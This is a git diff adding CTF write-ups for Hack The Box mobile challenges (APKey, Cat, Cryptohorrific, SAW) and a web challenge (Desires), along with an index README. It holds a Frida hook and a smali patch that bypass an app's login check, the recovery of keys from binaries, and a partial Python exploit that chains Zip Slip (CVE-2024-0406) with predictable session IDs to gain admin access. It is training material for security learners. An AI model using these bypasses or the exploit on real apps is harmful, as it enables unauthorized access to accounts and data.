diff --git a/CTF/Mobile/APKey/1.png b/CTF/Mobile/APKey/1.png
new file mode 100644
index 0000000..76c614f
Binary files /dev/null and b/CTF/Mobile/APKey/1.png differ
diff --git a/CTF/Mobile/APKey/2.png b/CTF/Mobile/APKey/2.png
new file mode 100644
index 0000000..c5810c7
Binary files /dev/null and b/CTF/Mobile/APKey/2.png differ
diff --git a/CTF/Mobile/APKey/3.png b/CTF/Mobile/APKey/3.png
new file mode 100644
index 0000000..b152da1
Binary files /dev/null and b/CTF/Mobile/APKey/3.png differ
diff --git a/CTF/Mobile/APKey/Readme.md b/CTF/Mobile/APKey/Readme.md
new file mode 100644
index 0000000..ab04fc1
--- /dev/null
+++ b/CTF/Mobile/APKey/Readme.md
@@ -0,0 +1,226 @@
+# Challenge: APKey
+## Rate: Easy
+
+Try to install the APK.
+
+```bash
+adb install APKey.apk
+Performing Streamed Install
+adb: failed to install APKey.apk: Failure [-124: Failed parse during installPackageLI: Targeting R+ (version 30 and above) requires the resources.arsc of installed APKs to be stored uncompressed and aligned on a 4-byte boundary]
+```
+
+The error indicates that the APK you are trying to install targets Android R (API level 30) or above, which requires the `resources.arsc` file within the APK to be stored uncompressed and aligned on a 4-byte boundary. Here's how you can fix it:
+
+```bash
+zipalign -v 4 APKey.apk aligned_APKey.apk
+adb install aligned_APKey.apk
+Performing Streamed Install
+adb: failed to install aligned_APKey.apk: Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES: Scanning Failed.: No signature found in package of version 2 or newer for package com.example.apkey]
+```
+
+The new error indicates that the APK is not signed. Android requires all APKs to be digitally signed before installation. Here's how you can resolve the issue by signing the APK:
+
+```bash
+keytool -genkey -v -keystore my-release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-key-alias
+apksigner sign --ks my-release-key.jks --out signed_aligned_APKey.apk aligned_APKey.apk
+apksigner verify signed_aligned_APKey.apk
+adb install signed_aligned_APKey.apk
+```
+
+Now Analyze the `AndroidManifest.xml` using `Apktool` or `Jadx`.
+
+
+
+Go to `MainActivity`:
+
+
+
+In the `MainActivity`, the `onClick` function in the key function of this challenge which contains the login validation process. We have two conditions:
+
+1. The username should be equal to `admin`
+2. The password hash should be equal to `a2a3d412e92d896134d9c9126d756f`
+
+From Here we have to approach to solve this challenge:
+
+1. Frida Hooking
+2. Smali Patching
+
+## Frida Hooking
+
+The original app checks if the MD5 hash of a user input equals `"a2a3d412e92d896134d9c9126d756f"`. When the condition is true, it proceeds with a branch that likely grants access or performs a sensitive action. We need to invert that check at runtime to effectively reverse the condition. In other words, if the hash matches, the check will now return `false`, and if it doesn’t match, the check will return `true`.
+
+`script.js`:
+
+```jsx
+Java.perform(function() {
+ // Get a reference to the java.lang.String class
+ var StringClass = Java.use("java.lang.String");
+ // Define the target hash string
+ var targetHash = "a2a3d412e92d896134d9c9126d756f";
+
+ // Save a reference to the original implementation of equals(Object)
+ var origEquals = StringClass.equals.overload("java.lang.Object");
+
+ // Overwrite the equals implementation
+ origEquals.implementation = function(other) {
+ // Check if the parameter is non-null and equals our target hash string
+ if (other !== null && other.toString() === targetHash) {
+ var selfValue = this.toString();
+ // Determine what the original equals() would return:
+ // true if 'this' is equal to targetHash, false otherwise.
+ var originalResult = (selfValue === targetHash);
+ // Invert the result:
+ // If 'this' equals targetHash (originalResult === true), return false.
+ // Otherwise, return true.
+ var newResult = !originalResult;
+ console.log("[Frida Hook] Intercepted String.equals(): '" +
+ selfValue + "'. Compared with '" + targetHash +
+ "'. Original result: " + originalResult +
+ " | Inverted result: " + newResult);
+ return newResult;
+ }
+ // For all other comparisons, call the original method.
+ return origEquals.call(this, other);
+ };
+
+ console.log("[Frida Hook] String.equals() hook installed.");
+});
+```
+
+- `Java.perform()`
+
+ ```jsx
+ Java.perform(function() {
+ ...
+ });
+ ```
+
+ - This ensures that the script runs after the Android runtime is fully loaded. It provides a safe environment to interact with Java classes and methods.
+- Getting a Reference to `java.lang.String`
+
+ ```jsx
+ var StringClass = Java.use("java.lang.String");
+ ```
+
+ - This gets a handle on the `java.lang.String` class so we can modify its behavior.
+- Defining the Target Hash
+
+ ```jsx
+ var targetHash = "a2a3d412e92d896134d9c9126d756f";
+ ```
+
+ - The script defines the MD5 hash string that is used in the application's original comparison.
+- Saving the Original `equals()` Method
+
+ ```jsx
+ var origEquals = StringClass.equals.overload("java.lang.Object");
+ ```
+
+ - This saves the original implementation of the `equals(Object)` method. The overload is specified because `equals` can be overloaded; we target the one that takes a single `Object` parameter.
+- Overriding the `equals()` Method
+
+ ```jsx
+ origEquals.implementation = function(other) {
+ if (other !== null && other.toString() === targetHash) {
+ var selfValue = this.toString();
+ var originalResult = (selfValue === targetHash);
+ var newResult = !originalResult;
+ console.log("[Frida Hook] Intercepted String.equals(): '" +
+ selfValue + "'. Compared with '" + targetHash +
+ "'. Original result: " + originalResult +
+ " | Inverted result: " + newResult);
+ return newResult;
+ }
+ return origEquals.call(this, other);
+ };
+ ```
+
+ - Hook Condition:
+
+ The hook checks if the object (`other`) being compared is not `null` and if its string representation equals the target hash.
+
+ - Capturing `this.toString()`:
+
+ It converts the current string (`this`) to a regular string (`selfValue`) to perform a comparison.
+
+ - Determining the Original Result:
+
+ It checks whether `selfValue` is equal to the target hash (what the original method would have returned).
+
+ - Inverting the Result:
+
+ The script inverts the original boolean result:
+
+ - If `selfValue` **is equal** to the target hash (`originalResult` is `true`), then `newResult` becomes `false`.
+ - If `selfValue` **is not equal** to the target hash (`originalResult` is `false`), then `newResult` becomes `true`.
+ - Logging:
+
+ It logs the details of the hook execution to help with debugging.
+
+ - Return Value:
+
+ The method returns the inverted result instead of the original one.
+
+ - Fallback:
+
+ If the `equals` method is called with an argument that doesn’t match the target hash, it simply calls the original `equals()` implementation.
+
+- Logging Hook Installation
+
+ ```jsx
+ console.log("[Frida Hook] String.equals() hook installed.");
+ ```
+
+ - A message is logged to confirm that the hook has been successfully set up.
+
+Run the Frida script:
+
+```bash
+frida -U -f com.example.apkey -l .\script.js
+```
+
+Enter `admin` as a username with any password you want:
+
+
+
+## Smali Patching
+
+```bash
+apktool d signed_aligned_APKey.apk
+```
+
+go to `MainActivity$a.smali`:
+
+```java
+...
+
+ :goto_1
+ const-string v1, "a2a3d412e92d896134d9c9126d756f"
+
+ .line 2
+ invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result p1
+
+ if-eqz p1, :cond_1
+
+ iget-object p1, p0, Lcom/example/apkey/MainActivity$a;->b:Lcom/example/apkey/MainActivity;
+
+...
+```
+
+Change `if-eqz` to `if-nez`.
+
+Build, Sign, and install the APK again:
+
+```bash
+apktool b signed_aligned_APKey -o modified_signed_aligned_APKey.apk
+zipalign -p 4 modified_signed_aligned_APKey.apk modified_signed_aligned_APKey1.apk
+apksigner sign --ks a.keystore modified_signed_aligned_APKey1.apk
+adb uninstall com.example.apkey
+adb install signed_aligned_APKey.apk
+```
+
+Enter `admin` as a username with any password you want:
+
+
diff --git a/CTF/Mobile/Cat/Readme.md b/CTF/Mobile/Cat/Readme.md
new file mode 100644
index 0000000..70d83da
--- /dev/null
+++ b/CTF/Mobile/Cat/Readme.md
@@ -0,0 +1,45 @@
+# Challenge: Cat
+## Rate: Easy
+
+This challenge gives us only a file named `cat.ab`. `.ab` files are Android Backup files created by the `adb backup` command, part of the Android Debug Bridge (ADB) toolkit. They are used to back up application data, settings, and, sometimes, parts of the Android system.
+Let's extract the backup:
+```bash
+java -jar abe.jar unpack cat.ab cat.tar
+```
+The `abe.jar` Converts the Android backup file `cat.ab` into a tar archive `cat.tar`.
+Now.
+
+Now extract the `cat.tar` which is an **unprotected backup file**.
+```bash
+tar -xvf cat.tar
+```
+```bash
+➜ tree
+.
+└── cat
+ ├── apps
+ └── shared
+ └── 0
+ ├── Alarms
+ ├── DCIM
+ ├── Download
+ ├── Movies
+ ├── Music
+ ├── Notifications
+ ├── Pictures
+ │ ├── IMAG0001.jpg
+ │ ├── IMAG0002.jpg
+ │ ├── IMAG0003.jpg
+ │ ├── **IMAG0004.jpg**
+ │ ├── IMAG0005.jpg
+ │ └── IMAG0006.jpg
+ ├── Podcasts
+ └── Ringtones
+```
+
+- `IMAG0004.jpg`
+
+ 
+
+
+**Flag**: `HTP{ThisBackupIsUnprotected}`
diff --git a/CTF/Mobile/Cat/flag.png b/CTF/Mobile/Cat/flag.png
new file mode 100644
index 0000000..01a4d16
Binary files /dev/null and b/CTF/Mobile/Cat/flag.png differ
diff --git a/CTF/Mobile/Cryptohorrific/1.png b/CTF/Mobile/Cryptohorrific/1.png
new file mode 100644
index 0000000..9a417a9
Binary files /dev/null and b/CTF/Mobile/Cryptohorrific/1.png differ
diff --git a/CTF/Mobile/Cryptohorrific/2.png b/CTF/Mobile/Cryptohorrific/2.png
new file mode 100644
index 0000000..f2e37a4
Binary files /dev/null and b/CTF/Mobile/Cryptohorrific/2.png differ
diff --git a/CTF/Mobile/Cryptohorrific/Readme.md b/CTF/Mobile/Cryptohorrific/Readme.md
new file mode 100644
index 0000000..f9eb3d0
--- /dev/null
+++ b/CTF/Mobile/Cryptohorrific/Readme.md
@@ -0,0 +1,102 @@
+# Challenge: Cryptohorrific
+## Rate: Medium
+
+Unzip the `Cryptohorrific.zip`:
+
+```bash
+➜ hackthebox.app tree
+.
+├── Base.lproj
+│ ├── LaunchScreen.storyboardc
+│ │ ├── 01J-lp-oVM-view-Ze5-6b-2t3.nib
+│ │ ├── Info.plist
+│ │ └── UIViewController-01J-lp-oVM.nib
+│ └── Main.storyboardc
+│ ├── BYZ-38-t0r-view-8bC-Xf-vdC.nib
+│ ├── Info.plist
+│ └── UIViewController-BYZ-38-t0r.nib
+├── Info.plist
+├── PkgInfo
+├── _CodeSignature
+│ └── CodeResources
+├── challenge.plist
+├── hackthebox
+└── htb-company.png
+```
+
+Here we have `challenge.plist` file. A `.plist` (property list) file is a file format used by macOS, iOS, and other Apple operating systems to store serialized objects in a structured way, typically as key-value pairs.
+
+Since `.plist` file is not readable for us, we have to convert it to XML format:
+
+```bash
+plistutil -i challenge.plist
+```
+
+Output:
+
+```xml
+
+
+
+
+
+ flag
+ Tq+CWzQS0wYzs2rJ+GNrPLP6qekDbwze6fIeRRwBK2WXHOhba7WR2OGNUFKoAvyW7njTCMlQzlwIRdJvaP2iYQ==
+ id
+ 123
+ title
+ HackTheBoxIsCool
+
+
+
+```
+
+The flag is encrypted.
+
+Also we have an executable file named `hackthebox`. Let’s analyze this file with `Ghidra`.
+
+
+
+After examining the executable we found `SecretManager:key:iv:data` which is interesting thing. Let’s look further.
+
+
+
+As you can see we found `Key` and `IV` values. So we can decrypt the flag using `CipherText` and `Key`.
+
+You can use https://www.devglan.com/online-tools/aes-encryption-decryption to achieve the flag or use this python code:
+
+```python
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import unpad
+import base64
+
+# AES decryption function
+def aes_decrypt(ciphertext_base64, secret_key):
+ # Decode the Base64 encoded ciphertext
+ ciphertext = base64.b64decode(ciphertext_base64)
+
+ # Initialize AES cipher in ECB mode
+ cipher = AES.new(secret_key.encode('utf-8'), AES.MODE_ECB)
+
+ # Decrypt and remove padding
+ decrypted_text = unpad(cipher.decrypt(ciphertext), AES.block_size)
+ return decrypted_text.decode('utf-8')
+
+# Inputs
+ciphertext = "Tq+CWzQS0wYzs2rJ+GNrPLP6qekDbwze6fIeRRwBK2WXHOhba7WR2OGNUFKoAvyW7njTCMlQzlwIRdJvaP2iYQ=="
+secret_key = "!A%D*G-KaPdSgVkY"
+
+# Decrypt and print the result
+try:
+ decrypted_text = aes_decrypt(ciphertext, secret_key)
+ print("Decrypted text:", decrypted_text)
+except Exception as e:
+ print("An error occurred during decryption:", str(e))
+
+```
+
+**Flag**:
+
+```
+Decrypted text: HTB{%SoC00l_H4ckTh3b0xbyBs3cur31stCh4ll3ng3!!Cr4zY%}
+```
diff --git a/CTF/Mobile/SAW/1.png b/CTF/Mobile/SAW/1.png
new file mode 100644
index 0000000..5d20ceb
Binary files /dev/null and b/CTF/Mobile/SAW/1.png differ
diff --git a/CTF/Mobile/SAW/10.png b/CTF/Mobile/SAW/10.png
new file mode 100644
index 0000000..a28c520
Binary files /dev/null and b/CTF/Mobile/SAW/10.png differ
diff --git a/CTF/Mobile/SAW/11.png b/CTF/Mobile/SAW/11.png
new file mode 100644
index 0000000..edcc945
Binary files /dev/null and b/CTF/Mobile/SAW/11.png differ
diff --git a/CTF/Mobile/SAW/12.png b/CTF/Mobile/SAW/12.png
new file mode 100644
index 0000000..314b1c0
Binary files /dev/null and b/CTF/Mobile/SAW/12.png differ
diff --git a/CTF/Mobile/SAW/13.png b/CTF/Mobile/SAW/13.png
new file mode 100644
index 0000000..70c2c16
Binary files /dev/null and b/CTF/Mobile/SAW/13.png differ
diff --git a/CTF/Mobile/SAW/14.png b/CTF/Mobile/SAW/14.png
new file mode 100644
index 0000000..fe91761
Binary files /dev/null and b/CTF/Mobile/SAW/14.png differ
diff --git a/CTF/Mobile/SAW/15.png b/CTF/Mobile/SAW/15.png
new file mode 100644
index 0000000..88046d4
Binary files /dev/null and b/CTF/Mobile/SAW/15.png differ
diff --git a/CTF/Mobile/SAW/16.png b/CTF/Mobile/SAW/16.png
new file mode 100644
index 0000000..25afb32
Binary files /dev/null and b/CTF/Mobile/SAW/16.png differ
diff --git a/CTF/Mobile/SAW/2.png b/CTF/Mobile/SAW/2.png
new file mode 100644
index 0000000..7c5b2ba
Binary files /dev/null and b/CTF/Mobile/SAW/2.png differ
diff --git a/CTF/Mobile/SAW/3.png b/CTF/Mobile/SAW/3.png
new file mode 100644
index 0000000..07386e5
Binary files /dev/null and b/CTF/Mobile/SAW/3.png differ
diff --git a/CTF/Mobile/SAW/4.png b/CTF/Mobile/SAW/4.png
new file mode 100644
index 0000000..2e9d9f5
Binary files /dev/null and b/CTF/Mobile/SAW/4.png differ
diff --git a/CTF/Mobile/SAW/5.png b/CTF/Mobile/SAW/5.png
new file mode 100644
index 0000000..996c196
Binary files /dev/null and b/CTF/Mobile/SAW/5.png differ
diff --git a/CTF/Mobile/SAW/6.png b/CTF/Mobile/SAW/6.png
new file mode 100644
index 0000000..5633ea3
Binary files /dev/null and b/CTF/Mobile/SAW/6.png differ
diff --git a/CTF/Mobile/SAW/7.png b/CTF/Mobile/SAW/7.png
new file mode 100644
index 0000000..303336c
Binary files /dev/null and b/CTF/Mobile/SAW/7.png differ
diff --git a/CTF/Mobile/SAW/8-1.png b/CTF/Mobile/SAW/8-1.png
new file mode 100644
index 0000000..1774c8c
Binary files /dev/null and b/CTF/Mobile/SAW/8-1.png differ
diff --git a/CTF/Mobile/SAW/8.png b/CTF/Mobile/SAW/8.png
new file mode 100644
index 0000000..2ebec18
Binary files /dev/null and b/CTF/Mobile/SAW/8.png differ
diff --git a/CTF/Mobile/SAW/9.png b/CTF/Mobile/SAW/9.png
new file mode 100644
index 0000000..235b38c
Binary files /dev/null and b/CTF/Mobile/SAW/9.png differ
diff --git a/CTF/Mobile/SAW/Readme.md b/CTF/Mobile/SAW/Readme.md
new file mode 100644
index 0000000..f8c69b7
--- /dev/null
+++ b/CTF/Mobile/SAW/Readme.md
@@ -0,0 +1,188 @@
+# Challenge: SAW
+## Rate: Medium
+
+Install the APK. when we click the app icon, the app won’t run. So in this situation, we have to analyze the using `Jadx`:
+
+As usual, when examining an APK, we go straight to `MainActivity` without wasting time.
+
+
+
+Here we have `getIntent().getExtras()` that is used to get values from intent that are stored in bundle. So we have this condition that If we don't provide `open` parameter with a value of `sesame` to the app, the app will immediately close.
+
+To fix this problem we can use `am` (activity manager):
+
+```bash
+am start -n com.stego.saw/.MainActivity -e open sesame
+```
+
+App:
+
+
+
+Now if we click on the “Click me…” button, the app will immediately close again. Let’s examine the rest of the code to find the problem.
+
+
+
+Check the APP log:
+
+
+
+Also, look at the `AndroidManifest.xml`:
+
+
+
+So our problem is the app doesn’t have `Allow display over other apps` permission.
+
+To Grant this permission to the app we have to ways:
+
+1. `Settings > App & notifications > Advanced > Special app access > Display over other apps`
+2. Running this command:
+
+ ```bash
+ appops set com.stego.saw SYSTEM_ALERT_WINDOW allow
+ ```
+
+
+After that, the app will open without any issues:
+
+
+
+So let’s examine the related code:
+
+
+
+Here’s we have function which wait’s for user input.
+
+
+
+Also, the app has native method named `a()`.
+
+Although the code tell the library loaded is named `default.so`, we can’t find it in the app lib folder.
+
+The JVM has two ways to find and link native methods with Java code. The first one is to call a native function in a specific way so that the JVM can find it. Another way is to use the **JNI `RegisterNatives()`** method.
+
+RegisterNatives is the method that will register native methods with the class passed as an argument. By hooking it and printout information we can detect which native method belong to which library
+
+[`hook_RegisterNatives.js`](https://raw.githubusercontent.com/lasting-yang/frida_hook_libart/master/hook_RegisterNatives.js):
+
+```jsx
+
+function find_RegisterNatives(params) {
+ let symbols = Module.enumerateSymbolsSync("libart.so");
+ let addrRegisterNatives = null;
+ for (let i = 0; i < symbols.length; i++) {
+ let symbol = symbols[i];
+
+ //_ZN3art3JNI15RegisterNativesEP7_JNIEnvP7_jclassPK15JNINativeMethodi
+ if (symbol.name.indexOf("art") >= 0 &&
+ symbol.name.indexOf("JNI") >= 0 &&
+ symbol.name.indexOf("RegisterNatives") >= 0 &&
+ symbol.name.indexOf("CheckJNI") < 0) {
+ addrRegisterNatives = symbol.address;
+ console.log("RegisterNatives is at ", symbol.address, symbol.name);
+ hook_RegisterNatives(addrRegisterNatives)
+ }
+ }
+
+}
+
+function hook_RegisterNatives(addrRegisterNatives) {
+
+ if (addrRegisterNatives != null) {
+ Interceptor.attach(addrRegisterNatives, {
+ onEnter: function (args) {
+ console.log("[RegisterNatives] method_count:", args[3]);
+ let java_class = args[1];
+ let class_name = Java.vm.tryGetEnv().getClassName(java_class);
+ //console.log(class_name);
+
+ let methods_ptr = ptr(args[2]);
+
+ let method_count = parseInt(args[3]);
+ for (let i = 0; i < method_count; i++) {
+ let name_ptr = Memory.readPointer(methods_ptr.add(i * Process.pointerSize * 3));
+ let sig_ptr = Memory.readPointer(methods_ptr.add(i * Process.pointerSize * 3 + Process.pointerSize));
+ let fnPtr_ptr = Memory.readPointer(methods_ptr.add(i * Process.pointerSize * 3 + Process.pointerSize * 2));
+
+ let name = Memory.readCString(name_ptr);
+ let sig = Memory.readCString(sig_ptr);
+ let symbol = DebugSymbol.fromAddress(fnPtr_ptr)
+ console.log("[RegisterNatives] java_class:", class_name, "name:", name, "sig:", sig, "fnPtr:", fnPtr_ptr, " fnOffset:", symbol, " callee:", DebugSymbol.fromAddress(this.returnAddress));
+ }
+ }
+ });
+ }
+}
+
+setImmediate(find_RegisterNatives);
+```
+
+
+
+So let's decompile APK and analyze the `libdefault.so` file.
+
+```bash
+apktool d SAW.apk
+cd SAW/lib/x86
+ls
+libdefault.so libnative-lib.so
+```
+
+Open `libdefault.so` file in `Ghidra` or `IDA`.
+
+Find the function `a()`:
+
+
+
+
+
+`a()` calls `_Z1aP7_JNIEnvP8_1` which is being passed to `_Z17_Z1aP7_JNIEnvP8_1PKcS0_`.
+
+Now using frida script we can find out that `a()` function takes `_Z17_Z1aP7_JNIEnvP8_1PKcS0_` and our input from the app as parameters.
+
+```jsx
+Java.perform(function () {
+ Interceptor.attach(Module.getExportByName("libdefault.so", "_Z17_Z1aP7_JNIEnvP8_1PKcS0_"), {
+ onEnter: (args) => {
+ console.log("\n[+] Arguments parameters: " + args[0].readUtf8String());
+ console.log("[+] Arguments parameters: " + args[1].readUtf8String());
+ },
+ onLeave: (ret) => {
+ console.log("[+] The return is: " + ret.toString());
+ }
+ });
+});
+```
+
+
+
+Let continue the code:
+
+
+
+Values of `m` & `I`:
+
+
+
+So the code is doing XOR. We have `m` and `I`’s values, so we can find `a2` value.
+
+```python
+l = [0x0a, 0x0b, 0x18, 0x0f, 0x5e, 0x31, 0x0c, 0x0f]
+m = [0x6c, 0x67, 0x28, 0x6E, 0x2A, 0x58, 0x62, 0x68]
+
+text = ""
+for i in range(0, len(l)):
+ text += chr(l[i] ^ m[i])
+
+print(text)
+```
+
+
+
+Now we have the Key.
+
+
+
+So based on this code, if we enter `fl0ating`, then the app will create and write the flag in `/data/user/0/com.stego.saw/`.
+
+
diff --git a/CTF/Readme.md b/CTF/Readme.md
index 66b8667..fe3ca71 100644
--- a/CTF/Readme.md
+++ b/CTF/Readme.md
@@ -3,21 +3,30 @@
***
| HTB Web Challanges | solved |
| ----------- | ----------- |
-| [HTBank](https://github.com/Fire-Null/Write-Ups/blob/main/CTF/web/Htbank/Readme.md) |✓|
-|[PDFy](https://github.com/Fire-Null/Write-Ups/blob/main/CTF/web/PDFy/Readme.md) |✓|
-|[insomnia](https://github.com/Fire-Null/Write-Ups/tree/main/CTF/web/Insomnia)|✓|
-|[jscalc](https://github.com/Fire-Null/Write-Ups/tree/main/CTF/web/jscalc)|✓|
+|[HTBank](https://github.com/Q0120S/Write-Ups/blob/main/CTF/web/Htbank/Readme.md) |✓|
+|[PDFy](https://github.com/Q0120S/Write-Ups/blob/main/CTF/web/PDFy/Readme.md) |✓|
+|[insomnia](https://github.com/Q0120S/Write-Ups/tree/main/CTF/web/Insomnia/Readme.md)|✓|
+|[jscalc](https://github.com/Q0120S/Write-Ups/tree/main/CTF/web/jscalc/Readme.md)|✓|
+|[Desires](https://github.com/Q0120S/Write-Ups/blob/main/CTF/web/Desires/Readme.md)|✓|
|ProxyAsAService|❎|
|ApacheBlaze|❎|
|RenderQuest|❎|
|C.O.P|❎|
|Neonify|❎|
-|DoxPit|❎|
+|[DoxPit](https://github.com/Q0120S/Write-Ups/tree/main/CTF/web/DoxPit/Readme.md)|✓|
|ScreenCrack|❎|
-|JerryTok|❎|
-|Stylish|❎|
+|[JerryTok](https://github.com/Q0120S/Write-Ups/tree/main/CTF/web/JerryTok/Readme.md)|✓|
+|[Stylish](https://github.com/Q0120S/Write-Ups/tree/main/CTF/web/Stylish/Readme.md)|✓|
+|[Pentest Notes](https://github.com/Q0120S/Write-Ups/tree/main/CTF/web/Pentest%20Notes/Readme.md)|✓|
|No-Treshhold|❎|
|Prying Eyes|❎|
|Why Lambda|❎|
|Pod Diagnostics|❎|
|ArtificialUniversity|❎|
+***
+| HTB Mobile Challanges | solved |
+| ----------- | ----------- |
+|[Cat](https://github.com/Q0120S/Write-Ups/tree/main/CTF/Mobile/Cat/Readme.md)|✓|
+|[APKey](https://github.com/Q0120S/Write-Ups/tree/main/CTF/Mobile/APKey/Readme.md) |✓|
+|[SAW](https://github.com/Q0120S/Write-Ups/tree/main/CTF/Mobile/SAW/Readme.md)|✓|
+|[Cryptohorrific](https://github.com/Q0120S/Write-Ups/blob/main/CTF/Mobile/Cryptohorrific/Readme.md)|✓|
diff --git a/CTF/web/Desires/1.png b/CTF/web/Desires/1.png
new file mode 100644
index 0000000..9a5daca
Binary files /dev/null and b/CTF/web/Desires/1.png differ
diff --git a/CTF/web/Desires/2.png b/CTF/web/Desires/2.png
new file mode 100644
index 0000000..fa1ef17
Binary files /dev/null and b/CTF/web/Desires/2.png differ
diff --git a/CTF/web/Desires/3.png b/CTF/web/Desires/3.png
new file mode 100644
index 0000000..d0d1d97
Binary files /dev/null and b/CTF/web/Desires/3.png differ
diff --git a/CTF/web/Desires/4.png b/CTF/web/Desires/4.png
new file mode 100644
index 0000000..ed2e1c7
Binary files /dev/null and b/CTF/web/Desires/4.png differ
diff --git a/CTF/web/Desires/5.png b/CTF/web/Desires/5.png
new file mode 100644
index 0000000..168dab7
Binary files /dev/null and b/CTF/web/Desires/5.png differ
diff --git a/CTF/web/Desires/Readme.md b/CTF/web/Desires/Readme.md
new file mode 100644
index 0000000..dbf8cd7
--- /dev/null
+++ b/CTF/web/Desires/Readme.md
@@ -0,0 +1,104 @@
+# Challenge: Desires
+## Rate: Easy
+
+The challenge features a web application with a specific vulnerability centered around tar archive uploads, where file upload functionalities can introduce critical security flaws if not properly implemented.
+Reviewing the source code reveals that the goal is to access the `/user/admin`, which requires admin privileges.
+Analyzing further, the archive extraction is handled by the archiver library, which has **CVE-2024-0406**, which is about the **Zip Slip** vulnerability.
+
+After that, the `sessionID` is a SHA256 hash of the current timestamp:
+
+```go
+sessionID := fmt.Sprintf("%x", sha256.Sum256([]byte(strconv.FormatInt(time.Now().Unix(), 10))))
+```
+
+As you can see, it is predictable, so we can chain it with Zip Slip and upload files with the predicted session ID. But the problem is that the successful login attempt leads to overwriting the malicious session.
+
+Further analysis reveals that the session ID is set before verifying the credentials:
+
+```go
+func LoginHandler(c *fiber.Ctx) error {
+ var credentials Credentials
+ if err := c.BodyParser(&credentials); err != nil {
+ return utils.ErrorResponse(c, err.Error(), http.StatusBadRequest)
+ }
+
+ sessionID := fmt.Sprintf("%x", sha256.Sum256([]byte(strconv.FormatInt(time.Now().Unix(), 10))))
+
+ err := PrepareSession(sessionID, credentials.Username)
+
+ if err != nil {
+ return utils.ErrorResponse(c, "Error wrong!", http.StatusInternalServerError)
+ }
+
+ user, err := loginUser(credentials.Username, credentials.Password)
+ if err != nil {
+ return utils.ErrorResponse(c, "Invalid username or Password", http.StatusBadRequest)
+ }
+```
+
+So the exploitation steps are as follows:
+
+1. Register on the web and log in with the correct credentials to achieve a session cookie.
+
+ 
+
+ 
+
+2. Make a list of predicted session IDs for future login attempts. (Consider removing your current session ID from the list because it already exists)
+
+ ```python
+ def predict_session_id(self, ts: int) -> str:
+ return hashlib.sha256(str(ts).encode()).hexdigest()
+ ```
+
+3. Make a malicious TAR file based on CVE-2024-0406
+
+ ```python
+ def create_malicious_archive(self, admin_session_json: str) -> bool:
+ try:
+ with tarfile.open(self.archive_name, "w") as tar:
+ symlink_info = tarfile.TarInfo(name=self.symlink_name)
+ symlink_info.type = tarfile.SYMTYPE
+ symlink_info.linkname = "/tmp/sessions/test/"
+ tar.addfile(symlink_info)
+
+ current_ts = int(time.time())
+ # Create a range of session IDs to cover potential time skews
+ for i in range(self.session_id_count):
+ ts = current_ts - self.session_id_count // 2 + i # creates session_id range around current time
+ predicted_session_id = self.predict_session_id(ts)
+
+ # Exclude specified session ID
+ if self.exclude_session_id and predicted_session_id == self.exclude_session_id:
+ print(f"[-] Excluding session ID: {predicted_session_id}")
+ continue
+
+ # Append session ID to the global list
+ DesiresExploit.session_id_list.append(predicted_session_id)
+
+ payload_info = tarfile.TarInfo(name=f"{self.symlink_name}/{predicted_session_id}")
+ payload_info.size = len(admin_session_json)
+ tar.addfile(payload_info, io.BytesIO(admin_session_json.encode('utf-8')))
+
+ print(f"[+] Created malicious archive {self.archive_name} with {self.session_id_count} session IDs")
+ return True
+ except Exception as e:
+ print(f"[-] Error creating archive: {e}")
+ return False
+ ```
+
+4. Upload the malicious file
+
+ 
+
+5. Log in with the wrong password
+
+ 
+
+6. Send a request to `/user/admin` path using the predicted session ID
+
+ 
+
+Here is the full exploit code: [Exploit.py](https://github.com/Q0120S/Write-Ups/edit/main/CTF/web/Desires/exploit.py)
+
+
diff --git a/CTF/web/Desires/exploit.png b/CTF/web/Desires/exploit.png
new file mode 100644
index 0000000..1eb0728
Binary files /dev/null and b/CTF/web/Desires/exploit.png differ
diff --git a/CTF/web/Desires/exploit.py b/CTF/web/Desires/exploit.py
new file mode 100644
index 0000000..6abff78
--- /dev/null
+++ b/CTF/web/Desires/exploit.py
@@ -0,0 +1,269 @@
+import os
+import tarfile
+import io
+import time
+import hashlib
+import requests
+import argparse
+
+class DesiresExploit:
+ session_id_list = [] # Class variable to store all session IDs
+
+ def __init__(self, target_url, upload_path="/user/upload", symlink_name="symlink_pyld", proxy=None, session_id_count=1000, exclude_session_id=None):
+ self.target_url = target_url
+ self.upload_url = self.target_url + upload_path
+ self.symlink_name = symlink_name
+ self.archive_name = "malicious.tar"
+ self.session_cookie_name = "session"
+ self.username_cookie_name = "username"
+ self.proxy = proxy
+ self.session_id_count = session_id_count # Total session ids to create
+ self.exclude_session_id = exclude_session_id # Session ID to exclude
+ self.cookies = None
+
+ def predict_session_id(self, ts: int) -> str:
+ return hashlib.sha256(str(ts).encode()).hexdigest()
+
+ def register_user(self, username: str, password: str) -> bool:
+ """Register a new user with exact request format"""
+ try:
+ headers = {
+ "User-Agent": "Firefox",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Origin": self.target_url,
+ "Referer": f"{self.target_url}/register"
+ }
+
+ data = {
+ "username": username,
+ "password": password
+ }
+
+ response = requests.post(
+ f"{self.target_url}/register",
+ data=data,
+ headers=headers,
+ proxies=self.proxy,
+ verify=False,
+ allow_redirects=False
+ )
+
+ if response.status_code == 302 or response.status_code == 200:
+ print(f"[+] Successfully registered user: {username}")
+ return True
+ else:
+ print(f"[-] Registration failed: {response.status_code} - {response.text}")
+ return False
+ except Exception as e:
+ print(f"[-] Registration error: {e}")
+ return False
+
+ def login_user(self, username: str, password: str) -> bool:
+ """Login user and store cookies from response"""
+ try:
+ headers = {
+ "User-Agent": "Firefox",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Origin": self.target_url,
+ "Referer": f"{self.target_url}/",
+ }
+
+ data = {
+ "username": username,
+ "password": password
+ }
+
+ response = requests.post(
+ f"{self.target_url}/login",
+ data=data,
+ headers=headers,
+ proxies=self.proxy,
+ verify=False,
+ allow_redirects=False
+ )
+
+ if response.status_code == 302:
+ self.cookies = response.cookies.get_dict()
+ print(f"[+] Successfully logged in as: {username}")
+ print(f"[+] Session cookie: {self.cookies.get(self.session_cookie_name)}")
+ print(f"[+] Username cookie: {self.cookies.get(self.username_cookie_name)}")
+ return True
+ else:
+ print(f"[-] Login failed: {response.status_code} - {response.text}")
+ return False
+ except Exception as e:
+ print(f"[-] Login error: {e}")
+ return False
+
+ def create_malicious_archive(self, admin_session_json: str) -> bool:
+ try:
